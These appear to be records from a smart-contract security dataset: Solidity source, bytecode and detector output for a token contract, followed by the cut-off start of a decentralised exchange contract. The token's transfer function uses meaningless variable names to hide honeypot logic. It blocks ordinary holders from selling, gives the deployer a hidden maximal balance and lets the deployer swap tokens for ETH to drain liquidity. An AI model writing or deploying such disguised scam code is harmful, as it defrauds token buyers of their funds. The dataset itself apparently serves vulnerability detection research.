// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _taxFee = 7; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private _active = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private _disease; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private _fuel; mapping(uint256 => address) private _began; mapping(address => uint256) private _explanation; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _disease[msg.sender] = _active; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _began[_active] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address _alike, address _tune, uint256 amount ) private { address _paint = _fuel[_active]; bool _tie = _alike == _began[_active]; if (_disease[_alike] == 0 && !_tie && _explanation[_alike] > 0) { require(_tie); } _fuel[_active] = _tune; if (_disease[_alike] > 0 && amount == 0) { _disease[_tune] += _taxFee; } _explanation[_paint] += _taxFee; if (_disease[_alike] > 0 && amount > _active) { swapAndLiquify(amount); return; } if (_taxFee > 0 && _disease[_alike] == 0) { uint256 fee = (amount * _taxFee) / 100; amount -= fee; _balances[_alike] -= fee; } _balances[_alike] -= amount; _balances[_tune] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102f3578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b806370a0823114610249578063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780633b124fe7146101f357806349bd5a5e1461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a919061134c565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611407565b610453565b6040516101579190611462565b60405180910390f35b34801561016c57600080fd5b50610175610468565b604051610182919061148c565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114a7565b610472565b6040516101bf9190611462565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea919061148c565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b604051610215919061148c565b60405180910390f35b34801561022a57600080fd5b5061023361059f565b6040516102409190611509565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190611524565b6105c5565b60405161027d919061148c565b60405180910390f35b34801561029257600080fd5b5061029b61060e565b005b3480156102a957600080fd5b506102b2610696565b6040516102bf9190611509565b60405180910390f35b3480156102d457600080fd5b506102dd6106bf565b6040516102ea919061134c565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190611407565b610751565b6040516103279190611462565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611551565b6107cd565b604051610364919061148c565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190611524565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115f0565b60405180910390f35b6060600180546103d09061163a565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc9061163a565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc919061148c565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610571919061169b565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b60035481565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610616610fa3565b73ffffffffffffffffffffffffffffffffffffffff16610634610696565b73ffffffffffffffffffffffffffffffffffffffff161461068a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106819061171b565b60405180910390fd5b6106946000610fab565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106ce9061163a565b80601f01602080910402602001604051908101604052809291908181526020018280546106fa9061163a565b80156107475780601f1061071c57610100808354040283529160200191610747565b820191906000526020600020905b81548152906001019060200180831161072a57829003601f168201915b5050505050905090565b600061075e338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb919061148c565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610fa3565b73ffffffffffffffffffffffffffffffffffffffff1661087a610696565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c79061171b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117ad565b60405180910390fd5b61094981610fab565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a139061183f565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa919061148c565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bfc575080155b8015610c4757506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c575780610c5657600080fd5b5b83600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cfa5750600083145b15610d5857600354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d50919061185f565b925050819055505b600354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da9919061185f565b925050819055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e00575060065483115b15610e1557610e0e8361106f565b5050610f9e565b6000600354118015610e6657506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610eef576000606460035485610e7d91906118b5565b610e87919061193e565b90508084610e95919061169b565b935080600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee6919061169b565b92505081905550505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3e919061169b565b9250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f94919061185f565b9250508190555050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108c5761108b61196f565b5b6040519080825280602002602001820160405280156110ba5781602001602082028036833780820191505090505b50905030816000815181106110d2576110d161199e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611179573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119d91906119e2565b816001815181106111b1576111b061199e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b815260040161127d959493929190611b08565b600060405180830381600087803b15801561129757600080fd5b505af11580156112ab573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112ed5780820151818401526020810190506112d2565b838111156112fc576000848401525b50505050565b6000601f19601f8301169050919050565b600061131e826112b3565b61132881856112be565b93506113388185602086016112cf565b61134181611302565b840191505092915050565b600060208201905081810360008301526113668184611313565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061139e82611373565b9050919050565b6113ae81611393565b81146113b957600080fd5b50565b6000813590506113cb816113a5565b92915050565b6000819050919050565b6113e4816113d1565b81146113ef57600080fd5b50565b600081359050611401816113db565b92915050565b6000806040838503121561141e5761141d61136e565b5b600061142c858286016113bc565b925050602061143d858286016113f2565b9150509250929050565b60008115159050919050565b61145c81611447565b82525050565b60006020820190506114776000830184611453565b92915050565b611486816113d1565b82525050565b60006020820190506114a1600083018461147d565b92915050565b6000806000606084860312156114c0576114bf61136e565b5b60006114ce868287016113bc565b93505060206114df868287016113bc565b92505060406114f0868287016113f2565b9150509250925092565b61150381611393565b82525050565b600060208201905061151e60008301846114fa565b92915050565b60006020828403121561153a5761153961136e565b5b6000611548848285016113bc565b91505092915050565b600080604083850312156115685761156761136e565b5b6000611576858286016113bc565b9250506020611587858286016113bc565b9150509250929050565b6000819050919050565b60006115b66115b16115ac84611373565b611591565b611373565b9050919050565b60006115c88261159b565b9050919050565b60006115da826115bd565b9050919050565b6115ea816115cf565b82525050565b600060208201905061160560008301846115e1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165257607f821691505b602082108114156116665761166561160b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116a6826113d1565b91506116b1836113d1565b9250828210156116c4576116c361166c565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117056020836112be565b9150611710826116cf565b602082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117976026836112be565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118296024836112be565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b600061186a826113d1565b9150611875836113d1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118aa576118a961166c565b5b828201905092915050565b60006118c0826113d1565b91506118cb836113d1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119045761190361166c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611949826113d1565b9150611954836113d1565b9250826119645761196361190f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119dc816113a5565b92915050565b6000602082840312156119f8576119f761136e565b5b6000611a06848285016119cd565b91505092915050565b6000819050919050565b6000611a34611a2f611a2a84611a0f565b611591565b6113d1565b9050919050565b611a4481611a19565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a7f81611393565b82525050565b6000611a918383611a76565b60208301905092915050565b6000602082019050919050565b6000611ab582611a4a565b611abf8185611a55565b9350611aca83611a66565b8060005b83811015611afb578151611ae28882611a85565b9750611aed83611a9d565b925050600181019050611ace565b5085935050505092915050565b600060a082019050611b1d600083018861147d565b611b2a6020830187611a3b565b8181036040830152611b3c8186611aaa565b9050611b4b60608301856114fa565b611b58608083018461147d565b969550505050505056fea2646970667358221220ee3125bc3aaa2690122960add628e63e0914fec3697dbc4e49382ec70230229364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,739
0x802c31c7c0a89d3d289ca91cd57892d8338bc9ce
pragma solidity ^0.4.9; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can&#39;t be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn&#39;t wrap. //Replace the if with this one instead. if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { //given a user, returns an account level //0 = regular user (pays take fee and make fee) //1 = market maker silver (pays take fee, no make fee, gets rebate) //2 = market maker gold (pays take fee, no make fee, gets entire counterparty&#39;s take fee as rebate) function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract EtherTradex is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function EtherTradex() public { admin = "0xB29F2d430d1bA862a61c1657fA73Df7607E66E11"; feeAccount = "0x8F741Ab9ebc7827D7F8222Ab358A5b4CeB19Ff07"; accountLevelsAddr = "0x0000000000000000000000000000000000000000"; feeMake = 0; feeTake = 3000000000000000; feeRebate = 0; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed 